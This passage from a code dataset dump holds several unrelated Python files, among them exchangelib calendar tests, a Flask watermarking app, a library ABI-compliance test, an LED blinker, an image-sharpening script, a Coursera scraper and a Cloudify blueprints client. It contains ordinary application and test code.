self.assertEqual(dt.tzinfo.ms_id, tz.ms_id)\n self.assertEqual(dt.tzinfo.ms_name, tz.ms_name)\n self.assertEqual(str(dt), '2000-01-02 03:04:05+01:00')\n self.assertEqual(\n repr(dt),\n \"EWSDateTime(2000, 1, 2, 3, 4, 5, tzinfo=)\"\n )\n self.assertIsInstance(dt + timedelta(days=1), EWSDateTime)\n self.assertIsInstance(dt - timedelta(days=1), EWSDateTime)\n self.assertIsInstance(dt - EWSDateTime.now(tz=tz), timedelta)\n self.assertIsInstance(EWSDateTime.now(tz=tz), EWSDateTime)\n self.assertEqual(dt, EWSDateTime.from_datetime(tz.localize(datetime(2000, 1, 2, 3, 4, 5))))\n self.assertEqual(dt.ewsformat(), '2000-01-02T03:04:05')\n utc_tz = EWSTimeZone.timezone('UTC')\n self.assertEqual(dt.astimezone(utc_tz).ewsformat(), '2000-01-02T02:04:05Z')\n # Test summertime\n dt = tz.localize(EWSDateTime(2000, 8, 2, 3, 4, 5))\n self.assertEqual(dt.astimezone(utc_tz).ewsformat(), '2000-08-02T01:04:05Z')\n\n\nclass EWSTest(unittest.TestCase):\n def setUp(self):\n self.tz = EWSTimeZone.timezone('Europe/Copenhagen')\n try:\n with open(os.path.join(os.path.dirname(os.path.dirname(__file__)), 'settings.yml')) as f:\n settings = load(f)\n except FileNotFoundError:\n print('Copy settings.yml.sample to settings.yml and enter values for your test server')\n raise\n self.categories = ['Test']\n self.config = Configuration(server=settings['server'], username=settings['username'],\n password=settings['password'])\n self.account = Account(primary_smtp_address=settings['account'], access_type=DELEGATE, config=self.config)\n\n def tearDown(self):\n start = self.tz.localize(EWSDateTime(1900, 9, 26, 8, 0, 0))\n end = self.tz.localize(EWSDateTime(2200, 9, 26, 11, 0, 0))\n ids = self.account.calendar.find_items(start=start, end=end, categories=self.categories, shape=IdOnly)\n if ids:\n self.account.calendar.delete_items(ids)\n\n def test_credentials(self):\n self.assertEqual(self.account.access_type, DELEGATE)\n self.assertTrue(self.config.protocol.test())\n\n def test_get_timezones(self):\n ws = GetServerTimeZones(self.config.protocol)\n data = ws.call()\n self.assertAlmostEqual(len(data), 100, delta=10, msg=data)\n\n def test_getfolders(self):\n folders = self.account.root.get_folders()\n self.assertEqual(len(folders), 61, sorted(f.name for f in folders))\n\n def test_finditems(self):\n start = self.tz.localize(EWSDateTime(2009, 9, 26, 8, 0, 0))\n end = self.tz.localize(EWSDateTime(2009, 9, 26, 11, 0, 0))\n subject = 'Test Subject'\n body = 'Test Body'\n location = 'Test Location'\n item = CalendarItem(item_id='', changekey='', start=start, end=end, subject=subject, body=body,\n location=location, reminder_is_set=False, categories=self.categories)\n self.account.calendar.add_items(items=[item, item])\n items = self.account.calendar.find_items(start=start, end=end, categories=self.categories, shape=AllProperties)\n for item in items:\n assert isinstance(item, CalendarItem)\n self.assertEqual(len(items), 2)\n self.account.calendar.delete_items(items)\n\n def test_getitems(self):\n start = self.tz.localize(EWSDateTime(2009, 9, 26, 8, 0, 0))\n end = self.tz.localize(EWSDateTime(2009, 9, 26, 11, 0, 0))\n subject = 'Test Subject'\n body = 'Test Body'\n location = 'Test Location'\n item = CalendarItem(item_id='', changekey='', start=start, end=end, subject=subject, body=body,\n location=location, reminder_is_set=False, categories=self.categories)\n self.account.calendar.add_items(items=[item, item])\n ids = self.account.calendar.find_items(start=start, end=end, categories=self.categories, shape=IdOnly)\n items = self.account.calendar.get_items(ids=ids)\n for item in items:\n assert isinstance(item, CalendarItem)\n self.assertEqual(len(items), 2)\n self.account.calendar.delete_items(items)\n\n def test_extra_fields(self):\n start = self.tz.localize(EWSDateTime(2009, 9, 26, 8, 0, 0))\n end = self.tz.localize(EWSDateTime(2009, 9, 26, 11, 0, 0))\n subject = 'Test Subject'\n body = 'Test Body'\n location = 'Test Location'\n item = CalendarItem(item_id='', changekey='', start=start, end=end, subject=subject, body=body,\n location=location, reminder_is_set=False, categories=self.categories)\n self.account.calendar.add_items(items=[item, item])\n ids = self.account.calendar.find_items(start=start, end=end, categories=self.categories, shape=IdOnly)\n self.account.calendar.with_extra_fields = True\n items = self.account.calendar.get_items(ids=ids)\n self.account.calendar.with_extra_fields = False\n for item in items:\n assert isinstance(item, CalendarItem)\n for f in CalendarItem.fieldnames(with_extra=True):\n self.assertTrue(hasattr(item, f))\n self.assertEqual(len(items), 2)\n self.account.calendar.delete_items(items)\n\n def test_item(self):\n # Test insert\n start = self.tz.localize(EWSDateTime(2011, 10, 12, 8))\n end = self.tz.localize(EWSDateTime(2011, 10, 12, 10))\n subject = 'Test Subject'\n body = 'Test Body'\n location = 'Test Location'\n extern_id = '123'\n reminder_is_set = False\n item = CalendarItem(item_id='', changekey='', start=start, end=end, subject=subject, body=body,\n location=location, reminder_is_set=reminder_is_set, categories=self.categories,\n extern_id=extern_id)\n return_ids = self.account.calendar.add_items(items=[item])\n self.assertEqual(len(return_ids), 1)\n for item_id in return_ids:\n assert isinstance(item_id, tuple)\n ids = self.account.calendar.find_items(start=start, end=end, categories=self.categories, shape=IdOnly)\n self.assertEqual(len(ids[0]), 2)\n self.assertEqual(len(ids), 1)\n self.assertEqual(return_ids, ids)\n item = self.account.calendar.get_items(ids)[0]\n self.assertEqual(item.start, start)\n self.assertEqual(item.end, end)\n self.assertEqual(item.subject, subject)\n self.assertEqual(item.location, location)\n self.assertEqual(item.body, body)\n self.assertEqual(item.categories, self.categories)\n self.assertEqual(item.extern_id, extern_id)\n self.assertEqual(item.reminder_is_set, reminder_is_set)\n\n # Test update\n start = self.tz.localize(EWSDateTime(2012, 9, 12, 16))\n end = self.tz.localize(EWSDateTime(2012, 9, 12, 17))\n subject = 'New Subject'\n body = 'New Body'\n location = 'New Location'\n categories = ['a', 'b']\n extern_id = '456'\n reminder_is_set = True\n ids = self.account.calendar.update_items(\n [\n (item, {'start': start, 'end': end, 'subject': subject, 'body': body, 'location': location,\n 'categories': categories, 'extern_id': extern_id, 'reminder_is_set': reminder_is_set}),\n ]\n )\n self.assertEqual(len(ids[0]), 2, ids)\n self.assertEqual(len(ids), 1)\n self.assertEqual(return_ids[0][0], ids[0][0]) # ID should be the same\n self.assertNotEqual(return_ids[0][1], ids[0][1]) # Changekey should not be the same when item is updated\n item = self.account.calendar.get_items(ids)[0]\n self.assertEqual(item.start, start)\n self.assertEqual(item.end, end)\n self.assertEqual(item.subject, subject)\n self.assertEqual(item.location, location)\n self.assertEqual(item.body, body)\n self.assertEqual(item.categories, categories)\n self.assertEqual(item.extern_id, extern_id)\n self.assertEqual(item.reminder_is_set, reminder_is_set)\n\n # Test wiping fields\n subject = ''\n body = ''\n location = ''\n extern_id = None\n # reminder_is_set = None # reminder_is_set cannot be deleted\n ids = self.account.calendar.update_items(\n [\n (item, {'subject': subject, 'body': body, 'location': location, 'extern_id': extern_id}),\n ]\n )\n self.assertEqual(len(ids[0]), 2, ids)\n self.assertEqual(len(ids), 1)\n self.assertEqual(return_ids[0][0], ids[0][0]) # ID should be the same\n self.assertNotEqual(return_ids[0][1], ids[0][1]) # Changekey should not be the same when item is updated\n item = self.account.calendar.get_items(ids)[0]\n self.assertEqual(item.subject, subject)\n self.assertEqual(item.location, location)\n self.assertEqual(item.body, body)\n self.assertEqual(item.extern_id, extern_id)\n\n # Test extern_id = None vs extern_id = ''\n extern_id = ''\n # reminder_is_set = None # reminder_is_set cannot be deleted\n ids = self.account.calendar.update_items(\n [\n (item, {'extern_id': extern_id}),\n ]\n )\n self.assertEqual(len(ids[0]), 2, ids)\n self.assertEqual(len(ids), 1)\n self.assertEqual(return_ids[0][0], ids[0][0]) # ID should be the same\n self.assertNotEqual(return_ids[0][1], ids[0][1]) # Changekey should not be the same when item is updated\n item = self.account.calendar.get_items(ids)[0]\n self.assertEqual(item.extern_id, extern_id)\n\n # Remove test item\n status = self.account.calendar.delete_items(ids)\n self.assertEqual(status, [(True, None)])\n\n def test_sessionpool(self):\n start = self.tz.localize(EWSDateTime(2011, 10, 12, 8))\n end = self.tz.localize(EWSDateTime(2011, 10, 12, 10))\n items = []\n for i in range(150):\n subject = 'Test Subject %s' % i\n body = 'Test Body %s' % i\n location = 'Test Location %s' % i\n item = CalendarItem(item_id='', changekey='', start=start, end=end, subject=subject, body=body,\n location=location, reminder_is_set=False, categories=self.categories)\n items.append(item)\n return_ids = self.account.calendar.add_items(items=items)\n self.assertEqual(len(return_ids), len(items))\n ids = self.account.calendar.find_items(start=start, end=end, categories=self.categories, shape=IdOnly)\n self.assertEqual(len(ids), len(items))\n items = self.account.calendar.get_items(return_ids)\n for i, item in enumerate(items):\n subject = 'Test Subject %s' % i\n body = 'Test Body %s' % i\n location = 'Test Location %s' % i\n self.assertEqual(item.start, start)\n self.assertEqual(item.end, end)\n self.assertEqual(item.subject, subject)\n self.assertEqual(item.location, location)\n self.assertEqual(item.body, body)\n self.assertEqual(item.categories, self.categories)\n status = self.account.calendar.delete_items(ids)\n self.assertEqual(set(status), {(True, None)})\n\n\nif __name__ == '__main__':\n import logging\n # loglevel = logging.DEBUG\n loglevel = logging.INFO\n logging.basicConfig(level=loglevel)\n logging.getLogger('exchangelib').setLevel(loglevel)\n unittest.main()\n","sub_path":"tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":12519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"370264866","text":"import os\nimport random\n\nimport cv2 as cv\nimport numpy as np\nfrom flask import Flask, json, render_template, request, send_from_directory\n\nimport watermark as wm\n\napp = Flask(__name__)\n\n\ndef clear_files(func):\n def wrapper():\n for image in os.listdir(os.path.join('static', 'images')):\n os.remove(os.path.join('static', 'images', image))\n for key in os.listdir(os.path.join('static', 'keys')):\n os.remove(os.path.join('static', 'keys', key))\n res = func()\n return res\n wrapper.__name__ = func.__name__\n return wrapper\n\n\n@app.route('/')\ndef home_page():\n if not os.path.exists(os.path.join('static', 'images')):\n os.makedirs(os.path.join('static', 'images'))\n if not os.path.exists(os.path.join('static', 'keys')):\n os.makedirs(os.path.join('static', 'keys'))\n return render_template('index.html')\n\n\n@app.route('/embed')\ndef embed_page():\n return render_template('embed.html')\n\n\n@app.route('/embed', methods=['POST'])\n@clear_files\ndef embed():\n host = request.files['host']\n watermark = request.files['watermark']\n robustness = int(request.form['robustness'])\n if '.' in host.filename and host.filename.rsplit('.', 1)[1] in {'jpeg', 'jpg'} and \\\n '.' in watermark.filename and watermark.filename.rsplit('.', 1)[1] in {'jpeg', 'jpg', 'png'}:\n random_idx = str(random.randrange(1 << 16))\n host_path = os.path.join('static', 'images', 'host') + random_idx\n watermark_path = os.path.join('static', 'images', 'watermark') + random_idx\n key_path = os.path.join('static', 'keys', 'key') + random_idx\n host.save(host_path)\n host = cv.imread(host_path)\n watermark.save(watermark_path)\n watermark = cv.imread(watermark_path, 0)\n host, key = wm.embed(host, watermark, robustness)\n host_path = host_path + '.jpg'\n key_path = key_path + '.npz'\n cv.imwrite(host_path, host)\n np.savez(key_path, id=random_idx, shape=key['shape'], pxl_perm_mat=key['pxl_perm_mat'])\n return json.jsonify({\n 'status': 'success',\n 'data': {\n 'host': host_path,\n 'key': key_path,\n }\n })\n return json.jsonify({\n 'status': 'fail',\n 'data': {\n 'host': None,\n 'key': None,\n }\n })\n\n\n@app.route('/extract')\ndef extract_page():\n return render_template('extract.html')\n\n\n@app.route('/extract', methods=['POST'])\n@clear_files\ndef extract():\n host = request.files['host']\n key = request.files['key']\n if '.' in host.filename and host.filename.rsplit('.', 1)[1] in {'jpeg', 'jpg'} and \\\n '.' in key.filename and key.filename.rsplit('.', 1)[1] == 'npz':\n host_path = os.path.join('static', 'images', 'host')\n watermark_path = os.path.join('static', 'images', 'watermark')\n key_path = os.path.join('static', 'keys', 'key.npy')\n host.save(host_path)\n host = cv.imread(host_path)\n key.save(key_path)\n key = np.load(key_path)\n watermark = wm.extract(host, key)\n watermark_path = watermark_path + '.jpg'\n cv.imwrite(watermark_path, watermark)\n return json.jsonify({\n 'status': 'success',\n 'watermark': watermark_path\n })\n return json.jsonify({\n 'status': 'fail',\n 'watermark': None\n })\n\n\n@app.route('/static/')\ndef get_file(path):\n return send_from_directory('static', path)\n\n\n@app.route('/favicon.ico')\ndef get_favicon():\n return send_from_directory(os.path.join('assets', 'icons'), 'favicon.ico')\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"200207916","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTest ABI/API compatibility\n\"\"\"\nimport os\nimport re\n\nimport pytest\nfrom tests.conftest import perform_once\n\nLIB_NAMES = ('libaccelize_drmc', 'libaccelize_drm')\nREPOSITORY_PATH = 'https://github.com/Accelize/drmlib'\n\n\ndef _run(*command, **kwargs):\n \"\"\"\n Run a command.\n\n Args:\n command (list of str):\n\n Returns:\n subprocess.CompletedProcess\n \"\"\"\n from subprocess import run, CalledProcessError, PIPE\n\n result = run(*command, stdout=PIPE, stderr=PIPE,\n universal_newlines=True, **kwargs)\n try:\n result.check_returncode()\n except CalledProcessError as exception:\n print(exception.stdout, exception.stderr, sep='\\n')\n return result\n\n\ndef make(path, target=None):\n \"\"\"\n Make.\n\n Args:\n path (str): Path of sources to make.\n target (str): Target\n \"\"\"\n _run(['make', '-j', str(os.cpu_count())] + ([target] if target else []),\n cwd=path)\n\n\ndef dump_abi(dump_file, so_file, include, version, name):\n \"\"\"\n Dump library ABI.\n\n Args:\n dump_file (str): Path to target \".abidump\" file\n so_file (str): Path to source \"libaccelize_drm.so\" or\n \"libaccelize_drmc.so\" file\n include (str): Path to public headers \"include\" directory.\n version (str): Library version\n name (str): Library name.\n\n Returns:\n tuple of str: version and dump_file\n \"\"\"\n _run(['abi-dumper', so_file, '-public-headers', include, '-o', dump_file,\n '-lver', version])\n return version, dump_file, name\n\n\ndef checks_abi_compliance(old_dump, new_dump, name, report_path):\n \"\"\"\n Checks ABI compliance.\n\n Args:\n old_dump (str): Path to old library version dump.\n new_dump (str): Path to new library version dump.\n name (str): Library name.\n report_path (str): HTML report path.\n\n Returns:\n str: Report\n \"\"\"\n return _run(['abi-compliance-checker', '-l', name, '-old', old_dump, '-new',\n new_dump, '-report-path', report_path]).stdout\n\n\ndef make_tag(version, path):\n \"\"\"\n Clone and make DRMlib previous versions sources\n\n Args:\n version (str): version to clone.\n path (str): Path to target directory.\n\n Returns:\n tuple of str: version and path\n \"\"\"\n # Clone sources\n os.mkdir(path)\n _run(['git', 'clone', '-q', '--recursive', '-b', 'v%s' % version, '--depth', '1',\n REPOSITORY_PATH, '%s/src' % path])\n\n # Make\n _run(['cmake', '-DCMAKE_BUILD_TYPE=Debug', './src'], cwd=path)\n make(path, 'all')\n\n return version, path\n\n\ndef get_reference_versions(tmpdir, abi_version):\n \"\"\"\n Get reference versions (Same ABI, ignoring \"patch\" versions).\n\n Args:\n tmpdir: pytest tmpdir from test\n abi_version: (str): ABI version.\n\n Returns:\n dict: version, directory\n \"\"\"\n tags = _run(['git', 'ls-remote', '--tags', REPOSITORY_PATH]).stdout\n versions = {\n tag.group(1) : str(tmpdir.join(tag.group(1))) for tag in list(map(\n lambda x: re.search(r'v((\\d+)\\.\\d+\\.\\d+)$', x), tags.splitlines()))\n if (tag and int(tag.group(2))==abi_version) }\n return versions\n\n\ndef test_abi_compliance(tmpdir, accelize_drm):\n \"\"\"\n Test the ABI/API compliance of the lib_name.\n \"\"\"\n perform_once(__name__ + '.test_abi_compliance')\n\n if not accelize_drm.pytest_build_environment:\n pytest.skip('This test is only performed on build environment.')\n elif not accelize_drm.pytest_build_type == 'debug':\n pytest.xfail('This test needs libraries compiled in debug mode.')\n\n # Initialize test\n from concurrent.futures import ThreadPoolExecutor, as_completed\n build_futures = []\n dump_futures = []\n latest_futures = []\n tools_futures = []\n latest_dumps = {}\n reports = {}\n\n with ThreadPoolExecutor() as executor:\n\n def dumps_library(lib_version, lib_path, futures):\n \"\"\"\n Dumps a version asynchronously.\n\n Args:\n lib_version (str): version.\n lib_path (str): Library directory.\n futures (list): Future list.\n \"\"\"\n include = os.path.join(lib_path, 'include')\n for lib_name in LIB_NAMES:\n futures.append(executor.submit(\n dump_abi, str(tmpdir.join(\n '%s_%s.abidump' % (lib_name, lib_version))),\n os.path.join(lib_path, '%s.so' % lib_name), include,\n lib_version, lib_name))\n\n # Get references versions\n abi_version = accelize_drm.get_api_version().major\n versions = executor.submit(get_reference_versions, tmpdir, abi_version)\n\n # Build reference versions\n versions = versions.result()\n if not versions:\n pytest.skip(\n 'No previous versions with ABI version %s' % abi_version)\n\n print('CHECKING ABI/API AGAINST VERSIONS:', ', '.join(versions))\n for version, path in versions.items():\n build_futures.append(executor.submit(make_tag, version, path))\n\n # Waits for tools build completion\n for future in as_completed(tools_futures):\n future.result()\n\n # Dump latest version ABI and API\n dumps_library('latest', '.', latest_futures)\n\n # Dumps reference versions ABI and API\n for future in as_completed(build_futures):\n version, path = future.result()\n dumps_library(version, path, dump_futures)\n\n # Waits for latest version dump completion\n for future in as_completed(latest_futures):\n _, dump_file, name = future.result()\n latest_dumps[name] = dump_file\n\n # Compare latest ABI / API dumps with reference versions\n for future in as_completed(dump_futures):\n version, dump_file, name = future.result()\n\n reports[' '.join((name, version))] = executor.submit(\n checks_abi_compliance, old_dump=dump_file,\n new_dump=latest_dumps[name], name=name,\n report_path=str(tmpdir.join('%s%s.html' % (name, version))))\n\n # Analyses reports\n abi_broken = False\n for title, future in reports.items():\n report = future.result()\n if ('Total binary compatibility problems: 0' not in report or\n 'Total source compatibility problems: 0,' not in report):\n abi_broken = True\n print('Comparison against %s:\\n%s\\n' % (title, report))\n\n assert not abi_broken\n","sub_path":"tests/test_abi_compliance.py","file_name":"test_abi_compliance.py","file_ext":"py","file_size_in_byte":6574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"289526345","text":"# Basic scrip. Lights one led after the next from a list. Direction reversed when it hit the end or beginning of the list.\n# GPIO OUT // BOARD 11, 13, 15 : BCM 18, 27, 22\n# GROUND // BOARD 9\n# 3x 220 ohm resistor\n# 3x leds\n# jumper wires: male/male and male/female\n\nfrom gpiozero import LED\nfrom time import sleep\n\n\nled_green = LED(22)\nled_yellow = LED(27)\nled_red = LED(17)\n\nled_list = [led_green, led_yellow, led_red]\n\nt = 0.1\n\ndirection = 1\nindex = 0\n\nwhile True:\n if index == 2:\n led_list[index].on()\n direction = -1\n sleep(t)\n led_list[index].off()\n elif index == 0:\n led_list[index].on()\n direction = 1\n sleep(t)\n led_list[index].off()\n else:\n led_list[index].on()\n sleep(t)\n led_list[index].off()\n index = index + 1 * direction\n","sub_path":"led_bnf.py","file_name":"led_bnf.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"232476024","text":"import cv2\nimport numpy as np\n\ndef sobel(img):\n x = cv2.Sobel(img, cv2.CV_16S, 1, 0)\n y = cv2.Sobel(img, cv2.CV_16S, 0, 1)\n\n absX = cv2.convertScaleAbs(x) # 转回uint8\n absY = cv2.convertScaleAbs(y)\n\n dst = cv2.addWeighted(absX, 0.5, absY, 0.5, 0)\n return dst\n\n\nimg = cv2.imread('train_img_0020.jpg', 0)\ncv2.imshow('img', img)\nlaplace = cv2.Laplacian(img, -1)\ncv2.imshow('laplace', laplace)\nruihua1 = cv2.add(img, laplace)\ncv2.imshow('ruihua1', ruihua1)\nruihua2 = sobel(img)\ncv2.imshow('ruihua2', ruihua2)\nblur = cv2.medianBlur(ruihua2, 3)\ncv2.imshow('blur', blur)\n\nheight, width = blur.shape\nmask = np.zeros((height, width, 1), np.uint8)\nfor i in range(0, height):\n for j in range(0, width):\n grayPixel1 = blur[i, j]\n grayPixel2 = ruihua1[i, j]\n out = int(grayPixel1)*int(grayPixel2)\n out1 = out//255\n mask[i, j] = out1\ncv2.imshow('mask', mask)\ndst = cv2.add(img, mask)\n\n\ncv2.imshow('dst', dst)\ncv2.waitKey(0)\n","sub_path":"MachineLearning/Modify_by_book_try.py","file_name":"Modify_by_book_try.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"122669182","text":"import argparse\nimport json\nimport requests\nimport random\nfrom bs4 import BeautifulSoup\nfrom lxml import etree\nfrom openpyxl import Workbook\n\n\ndef get_course_title(soup):\n return soup.find(\"div\", \"course-title\").text\n\n\ndef get_course_lang(soup):\n return soup.find(\"div\", \"language-info\").text.split(',')[0]\n\n\ndef get_course_start(soup):\n try:\n json_data = soup.select('script[type=\"application/ld+json\"]')[0].text\n return json.loads(json_data)['hasCourseInstance'][0]['startDate']\n except (KeyError, IndexError):\n return None\n\n\ndef get_course_duration(soup):\n duration = len(soup.find_all(\"div\", \"week\"))\n return duration if duration > 0 else None\n\n\ndef get_course_rate(soup):\n try:\n return soup.find('div', \"ratings-text\").text\n except AttributeError:\n return None\n\n\ndef get_course_info(course_url):\n course_page = requests.get(course_url).content.decode(\"utf-8\", \"ignore\")\n soup = BeautifulSoup(course_page, \"html.parser\")\n return [get_course_title(soup), get_course_lang(soup), get_course_start(soup),\n get_course_duration(soup), get_course_rate(soup)]\n\n\ndef get_courses_list(number_of_courses=20):\n url = 'https://www.coursera.org/sitemap~www~courses.xml'\n courses_xml = requests.get(url).content\n tree = etree.fromstring(courses_xml)\n random_curses = random.sample(list(tree), number_of_courses)\n return [course[0].text for course in random_curses]\n\n\ndef make_courses_workbook(courses_info):\n book = Workbook()\n sheet = book.active\n sheet.title = \"Курсы\"\n sheet.append(['Название', 'Язык', 'Дата начала', 'Количество недель', 'Средняя оценка'])\n for course in courses_info:\n sheet.append([info if info is not None\n else \"Нет данных\"\n for info in course])\n return book\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Сохранение информации о курсах с Coursera в xlsx-файл\")\n parser.add_argument('filepath', help='путь к xlsx-файлу')\n args = parser.parse_args()\n courses = [get_course_info(url) for url in get_courses_list()]\n courses_workbook = make_courses_workbook(courses)\n courses_workbook.save(args.filepath)\n","sub_path":"coursera.py","file_name":"coursera.py","file_ext":"py","file_size_in_byte":2332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"451501497","text":"\"\"\"Putting it together.\n\nExample run:\npython main.py\n\"\"\"\n\nfrom __future__ import print_function\n\nfrom io_tools import read_data_from_file, write_data_to_file\nfrom data_tools import title_cleanup, most_frequent_words\nfrom data_tools import most_positive_titles, most_negative_titles\nfrom data_tools import compute_word_positivity\nfrom data_tools import most_postivie_words, most_negative_words\n\n\ndef main():\n # Load data from file.\n data = read_data_from_file(\"data/news_data.txt\")\n # Clean up data.\n title_cleanup(data)\n # Write cleaned version to file.\n write_data_to_file(\"data/news_data_clean.txt\", data)\n # Compute most frequent words.\n print(\"Most Frequent Word\")\n print(most_frequent_words(data)[0])\n print(\"--------------------------------------------\")\n\n # Compute most positive titles\n pos_title = most_positive_titles(data)\n print(\"Positive title:\")\n print(pos_title[0])\n print(\"--------------------------------------------\")\n # Compute most negative titles\n neg_title = most_negative_titles(data)\n print(\"Negative title:\")\n print(neg_title[0])\n print(\"--------------------------------------------\")\n\n # Compute word positivity avg\n word_dict, word_avg = compute_word_positivity(data)\n # Compute most positive words\n pos_word_list = most_postivie_words(word_dict, word_avg)\n # Compute most negative words\n neg_word_list = most_negative_words(word_dict, word_avg)\n\n out_string = \"List of positive words:\\n\"\n for word in pos_word_list:\n out_string += \"%s \" % word\n print(out_string + '\\n')\n print(\"--------------------------------------------\")\n\n out_string = \"List of negative words:\\n\"\n for word in neg_word_list:\n out_string += \"%s \" % word\n print(out_string + '\\n')\n print(\"--------------------------------------------\")\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Assignment 0 - Introduction to Python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"12244684","text":"########\n# Copyright (c) 2014 GigaSpaces Technologies Ltd. All rights reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# * See the License for the specific language governing permissions and\n# * limitations under the License.\n\n__author__ = 'idanmo'\n\n\nimport os\nimport tempfile\nimport shutil\nimport requests\nimport tarfile\nimport urllib\nimport urlparse\n\nfrom os.path import expanduser\n\n\nclass Blueprint(dict):\n\n def __init__(self, blueprint):\n self.update(blueprint)\n\n @property\n def id(self):\n \"\"\"\n :return: The identifier of the blueprint.\n \"\"\"\n return self.get('id')\n\n @property\n def created_at(self):\n \"\"\"\n :return: Timestamp of blueprint creation.\n \"\"\"\n return self.get('created_at')\n\n @property\n def plan(self):\n \"\"\"\n Gets the plan the blueprint represents: nodes, relationships etc...\n\n :return: The content of the blueprint.\n \"\"\"\n return self.get('plan')\n\n\nclass BlueprintsClient(object):\n\n CONTENT_DISPOSITION_HEADER = 'content-disposition'\n\n def __init__(self, api):\n self.api = api\n\n @staticmethod\n def _tar_blueprint(blueprint_path, tempdir):\n blueprint_path = expanduser(blueprint_path)\n blueprint_name = os.path.basename(os.path.splitext(blueprint_path)[0])\n blueprint_directory = os.path.dirname(blueprint_path)\n if not blueprint_directory:\n # blueprint path only contains a file name from the local directory\n blueprint_directory = os.getcwd()\n tar_path = '{0}/{1}.tar.gz'.format(tempdir, blueprint_name)\n with tarfile.open(tar_path, \"w:gz\") as tar:\n tar.add(blueprint_directory,\n arcname=os.path.basename(blueprint_directory))\n return tar_path\n\n def _upload(self, archive_location,\n blueprint_id,\n application_file_name=None):\n query_params = {}\n if application_file_name is not None:\n query_params['application_file_name'] = \\\n urllib.quote(application_file_name)\n\n def file_gen(archive_path):\n buffer_size = 8192\n with open(archive_path, 'rb') as f:\n while True:\n read_bytes = f.read(buffer_size)\n yield read_bytes\n if len(read_bytes) < buffer_size:\n return\n\n uri = '/blueprints/{0}'.format(blueprint_id)\n url = '{0}{1}'.format(self.api.url, uri)\n\n if urlparse.urlparse(archive_location).scheme:\n # archive location is URL\n query_params['blueprint_archive_url'] = archive_location\n data = None\n else:\n # archive location is a system path - upload it in chunks\n data = file_gen(archive_location)\n\n response = requests.put(url, params=query_params, data=data)\n self.api.verify_response_status(response, 201)\n return response.json()\n\n def list(self, _include=None):\n \"\"\"\n Returns a list of currently stored blueprints.\n\n :param _include: List of fields to include in response.\n :return: Blueprints list.\n \"\"\"\n response = self.api.get('/blueprints', _include=_include)\n return [Blueprint(item) for item in response]\n\n def publish_archive(self, archive_location, blueprint_id,\n blueprint_filename=None):\n \"\"\"\n Publishes a blueprint archive to the Cloudify manager.\n\n :param archive_location: Path or Url to the archive file.\n :param blueprint_id: Id of the uploaded blueprint.\n :param blueprint_filename: The archive's main blueprint yaml filename.\n :return: Created blueprint.\n\n Archive file should contain a single directory in which there is a\n blueprint file named `blueprint_filename` (if `blueprint_filename`\n is None, this value will be passed to the REST service where a\n default value should be used).\n Blueprint ID parameter is available for specifying the\n blueprint's unique Id.\n \"\"\"\n\n blueprint = self._upload(\n archive_location,\n blueprint_id=blueprint_id,\n application_file_name=blueprint_filename)\n return Blueprint(blueprint)\n\n def upload(self, blueprint_path, blueprint_id):\n \"\"\"\n Uploads a blueprint to Cloudify's manager.\n\n :param blueprint_path: Main blueprint yaml file path.\n :param blueprint_id: Id of the uploaded blueprint.\n :return: Created blueprint.\n\n Blueprint path should point to the main yaml file of the blueprint\n to be uploaded. Its containing folder will be packed to an archive\n and get uploaded to the manager.\n Blueprint ID parameter is available for specifying the\n blueprint's unique Id.\n \"\"\"\n tempdir = tempfile.mkdtemp()\n try:\n tar_path = self._tar_blueprint(blueprint_path, tempdir)\n application_file = os.path.basename(blueprint_path)\n\n blueprint = self._upload(\n tar_path,\n blueprint_id=blueprint_id,\n application_file_name=application_file)\n return Blueprint(blueprint)\n finally:\n shutil.rmtree(tempdir)\n\n def get(self, blueprint_id, _include=None):\n \"\"\"\n Gets a blueprint by its id.\n\n :param blueprint_id: Blueprint's id to get.\n :param _include: List of fields to include in response.\n :return: The blueprint.\n \"\"\"\n assert blueprint_id\n uri = '/blueprints/{0}'.format(blueprint_id)\n response = self.api.get(uri, _include=_include)\n return Blueprint(response)\n\n def delete(self, blueprint_id):\n \"\"\"\n Deletes the blueprint whose id matches the provided blueprint id.\n\n :param blueprint_id: The id of the blueprint to be deleted.\n :return: Deleted blueprint.\n \"\"\"\n assert blueprint_id\n response = self.api.delete('/blueprints/{0}'.format(blueprint_id))\n return Blueprint(response)\n\n def download(self, blueprint_id, output_file=None):\n \"\"\"\n Downloads a previously uploaded blueprint from Cloudify's manager.\n\n :param blueprint_id: The Id of the blueprint to be downloaded.\n :param output_file: The file path of the downloaded blueprint file\n (optional)\n :return: The file path of the downloaded blueprint.\n \"\"\"\n url = '{0}{1}'.format(self.api.url,\n '/blueprints/{0}/archive'.format(blueprint_id))\n response = requests.get(url, stream=True)\n self.api.verify_response_status(response, 200)\n\n if not output_file:\n if self.CONTENT_DISPOSITION_HEADER not in response.headers:\n raise RuntimeError(\n 'Cannot determine attachment filename: {0} header not'\n ' found in response headers'.format(\n self.CONTENT_DISPOSITION_HEADER))\n output_file = response.headers[\n 